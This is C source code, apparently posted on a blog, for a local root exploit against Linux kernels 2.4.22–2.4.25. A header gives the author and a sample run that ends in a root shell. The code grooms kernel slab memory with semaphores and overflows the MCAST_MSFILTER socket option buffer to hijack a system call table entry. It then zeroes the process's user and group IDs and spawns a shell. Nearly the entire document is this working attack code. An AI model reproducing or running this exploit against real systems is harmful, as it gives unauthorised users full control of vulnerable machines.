* Linux kernel setsockopt MCAST_MSFILTER privilege elevation
* For kernel 2.4.22 - 2.4.25
*
* 2006-04-07
* Written by grip2
* Thanks airsupply
*
* grip2@debian:~/kernel-sec/exp-msfilter$ ./kexp-msfilter
* numsrc: 0x4000000c msize: 0x40 gsize: 0x68c optlen: 0x68c
* Prepare ...
* full_numsrc: 15 overflow_numsrc: 3
* size-64 87 118 64 2 2 1
* size-64 119 177 64 3 3 1
* Exploiting ...
* setsockopt: Cannot assign requested address
* sh-2.05b#
**/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define KB * 1024
#define MB * 1024 KB
#define GB * 1024 MB
#define NOP 'A'
int uid, gid;
unsigned task_size;
unsigned user_cs,user_ds;
void **sys_call_table;
#define __NR_hijack_getroot 0
static inline _syscall1(int, hijack_getroot, unsigned long *, val)
#define SOL_IP 0
#define MY_NUMSRC 12
#define SIZE_PIPE_INODE_INFO 64 /* sizeof(struct pipe_inode_info) */
#define SLAB_SIZE (fix_slabsize(SIZE_PIPE_INODE_INFO))
#define MAX_SEM_LIMIT 4096
static int sem_handles[MAX_SEM_LIMIT];
static int sem_count = 0;
/*
* (kernel-2.4.22) -- ipc/sem.c
* ...
* size = sizeof (*sma) + nsems * sizeof (struct sem);
* sma = (struct sem_array *) ipc_alloc(size);
* ...
*/
#define COMPUTE_NSEMS(slabsize) (((fix_slabsize(slabsize)) - 56) / 8);
static int fix_slabsize(slabsize)
{
/*
* (kernel-2.4.22)
**/
int cache_sizes[] = {
#if PAGE_SIZE == 4096
32,
#endif
64,
128,
256,
512,
1024,
2048,
4096,
8192,
16384,
32768,
65536,
131072,
};
int num, i;
num = sizeof(cache_sizes)/sizeof(int);
for (i = 0; i < num; i++) {
if (cache_sizes[i] < slabsize)
continue;
slabsize = cache_sizes[i];
break;
}
return slabsize;
}
unsigned long get_sys_call_table(void)
{
FILE *fp;
char linebuf[128];
char stuff[64];
unsigned long addr;
int found = 0;
int r;
fp = fopen("/proc/ksyms", "r");
if (fp == NULL) {
perror("fopen /proc/ksyms");
return;
}
while (!feof(fp)) {
if (!fgets(linebuf, sizeof(linebuf), fp))
continue;
memset(stuff, 0 ,sizeof(stuff));
r = sscanf(linebuf, "%x %s", &addr, stuff);
if (r != 2 || !strstr(stuff, "sys_call_table"))
continue;
printf(linebuf);
found = 1;
break;
}
fclose(fp);
return found ? addr : 0;
}
static void prepare_slab(int slabsize, int left)
{
FILE *fp;
char linebuf[128];
int r, found = 0;
int s_size, s_active, s_total;
int nsems;
slabsize = fix_slabsize(slabsize);
nsems = COMPUTE_NSEMS(slabsize);
fp = fopen("/proc/slabinfo", "r");
if (fp == NULL) {
perror("fopen /proc/slabinfo");
return;
}
while (!feof(fp)) {
if (!fgets(linebuf, sizeof(linebuf), fp))
continue;
r = sscanf(linebuf, "size-%d %d %d", &s_size, &s_active, &s_total);
if (r != 3 || s_size != slabsize)
continue;
printf(linebuf);
found = 1;
break;
}
fclose(fp);
if (found) {
int i, num;
num = s_total - s_active - left;
num = (num <= (MAX_SEM_LIMIT-sem_count)) ? num : (MAX_SEM_LIMIT-sem_count);
for (i = sem_count; i < num; i++, sem_count++) {
sem_handles[i] = semget(IPC_PRIVATE, nsems, IPC_CREAT);
}
}
return;
}
static void de_prepare_slab()
{
int i;
for (i = 0; i < sem_count; i++) {
if (sem_handles[i] != -1)
if (semctl(sem_handles[i], 0, IPC_RMID)) perror("ipc_rmid");
}
sem_count = 0;
}
void shellcode(void)
{
char *p[] ={"/bin/sh", 0};
// de_prepare_slab();
execve("/bin/sh",p,0);
_exit(0);
}
void configure(void)
{
unsigned val;
task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;
uid = getuid();
gid = getgid();
user_ds = myget_ds();
user_cs = myget_cs();
}
void kernel(unsigned * task)
{
unsigned * addr = task;
/* looking for uids */
while (addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid
)
addr++;
addr[0] = addr[1] = addr[2] = addr[3] = 0; /* set uids */
addr[4] = addr[5] = addr[6] = addr[7] = 0; /* set gids */
}
void set_root(unsigned int *ts)
{
if((unsigned int*)*ts!=NULL)
ts = (int*)*ts;
int cntr;
for(cntr = 0; cntr <= 512; cntr++, ts++)
if( ts[0] == uid && ts[1] == uid && ts[4] == gid && ts[5] == gid)
ts[0] = ts[1] = ts[4] = ts[5] = 0;
}
int myget_cs()
{
__asm__("movl %cs,%eax\n");
}
int myget_ds()
{
__asm__("movl %ds,%eax\n");
}
/*
* kernel 2.4.x/2.6.x privilege elevator
**/
extern load_highlevel;
__asm__
(
"load_highlevel: \n\t"
"mov $0xffffe000,%eax\n\t"
"and %esp,%eax \n\t"
"pushl %eax \n\t"
"call set_root \n\t"
"pop %eax \n\t"
"cli \n\t"
"movl $user_ds,%eax \n\t"
"pushl (%eax)\n"
"pop %ds \n\t" /* DS */
"pushl %ds \n\t" /* SS */
"pushl $0xc0000000 \n\t" /* ESP */
"pushl $0x246 \n\t" /* EFLAGS */
"movl $user_cs,%eax \n\t" /* CS */
"pushl (%eax) \n\t"
"pushl $shellcode \n\t"
"iret \n\t"
);
int main(int argc, char *argv[])
{
int sock = -1;
int victim_pipe[2] = {-1, -1};
int holderid = -1;
struct group_filter *gsf = NULL; /* &optval */
int optlen, optlen_align;
int nsems;
int pid;
int status;
unsigned int numsrc, full_numsrc, of_numsrc /* overflow numsrc */;
int msize, gsize, i;
struct sockaddr_in *psin;
sys_call_table = (void *) get_sys_call_table();
if (!sys_call_table)
goto err;
sock = socket(PF_INET, SOCK_STREAM, 0);
if (sock == -1) {
perror("socket");
goto err;
}
optlen = sizeof(struct group_filter) +
sizeof(struct sockaddr_storage) * (MY_NUMSRC-1);
optlen_align = fix_slabsize(optlen);
/*
* (kernel-2.4.22)
* ...
* define IP_MSFILTER_SIZE(numsrc) \
* (sizeof(struct ip_msfilter) - sizeof(__u32) \
* + (numsrc) * sizeof(__u32))
*/
numsrc = ((4 - (sizeof(struct ip_msfilter) - 4)))/4 + (SLAB_SIZE - 4)/4;
msize = IP_MSFILTER_SIZE(numsrc);
gsize = GROUP_FILTER_SIZE(numsrc);
printf("numsrc: 0x%x msize: 0x%x gsize: 0x%x optlen: 0x%x\n",
numsrc, msize, gsize, optlen);
if (argc == 2 && !strcmp(argv[1], "-w"))
exit(EXIT_SUCCESS);
gsf = malloc(optlen_align);
if (gsf == NULL) {
perror("malloc");
goto err;
}
memset(gsf, 'A', optlen);
/*
* Prepare
**/
printf("Prepare ...\n");
gsf->gf_numsrc = numsrc;
gsf->gf_interface = 0;
gsf->gf_fmode = 0;
psin = (struct sockaddr_in *) &gsf->gf_group;
psin->sin_family = AF_INET;
for (i = 0; i < MY_NUMSRC; i++) {
psin = (struct sockaddr_in *) &gsf->gf_slist[i];
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = 0x43434343;
}
full_numsrc = (optlen_align - sizeof(struct group_filter))
/ sizeof(gsf->gf_slist[0]) + 1 + 1;
of_numsrc = full_numsrc
- ((SLAB_SIZE - 20 /* sizeof(struct ip_msfilter) */) / 4 + 1);
printf("full_numsrc: %d \toverflow_numsrc: %d\n", full_numsrc, of_numsrc);
for (; i < full_numsrc; i++) {
psin = (struct sockaddr_in *) &gsf->gf_slist[i];
psin->sin_family = AF_INET;
psin->sin_addr.s_addr = 0x44444444;
}
assert(of_numsrc == 3);
psin = (struct sockaddr_in *) &gsf->gf_slist[full_numsrc-of_numsrc-1+3]; /* char *base */
psin->sin_addr.s_addr = (unsigned int) &sys_call_table[__NR_hijack_getroot];
setsockopt(sock, SOL_IP, MCAST_MSFILTER, gsf, optlen_align);
prepare_slab(SLAB_SIZE, -1);
prepare_slab(SLAB_SIZE, 4);
nsems = COMPUTE_NSEMS(SLAB_SIZE);
holderid = semget(IPC_PRIVATE, nsems, IPC_CREAT);
if (holderid == -1) {
perror("semget IPC_NEW");
goto err;
}
if (pipe(victim_pipe) == -1) {
perror("pipe");
goto err;
}
semctl(holderid, 0, IPC_RMID);
printf("Exploiting ...\n");
semctl(holderid, 0, IPC_RMID);
if (setsockopt(sock, SOL_IP, MCAST_MSFILTER, gsf, optlen) == -1)
perror("setsockopt");
/*
* Get root
**/
char *p_load_highlevel = (void *) &load_highlevel;
if (fork() == 0)
{
int cnt;
close(0);
close(1);
close(2);
alarm(1);
cnt = write(victim_pipe[1], &p_load_highlevel, 4);
//cnt = read(victim_pipe[0], buf, 0); /* for test base_addr */
if (cnt == -1) {
perror("write pipe");
goto err;
}
exit(0);
}
sleep(2);
if ((pid = fork()) == 0) {
configure();
hijack_getroot(0);
printf("Failed to get root!\n");
_exit(-1);
}
while (1) {
if (waitpid(pid, &status, 0) < 0)
break;
}
de_prepare_slab();
free(gsf);
close(sock);
close(victim_pipe[0]);
close(victim_pipe[1]);
return EXIT_SUCCESS;
err:
if (victim_pipe[0] > 0) {
close(victim_pipe[0]);
close(victim_pipe[1]);
}
de_prepare_slab(); /* it's safe */
if (holderid != -1)
semctl(holderid, 0, IPC_RMID);
if (gsf)
free(gsf);
if (sock != -1)
close(sock);
return EXIT_FAILURE;
}
没有评论:
发表评论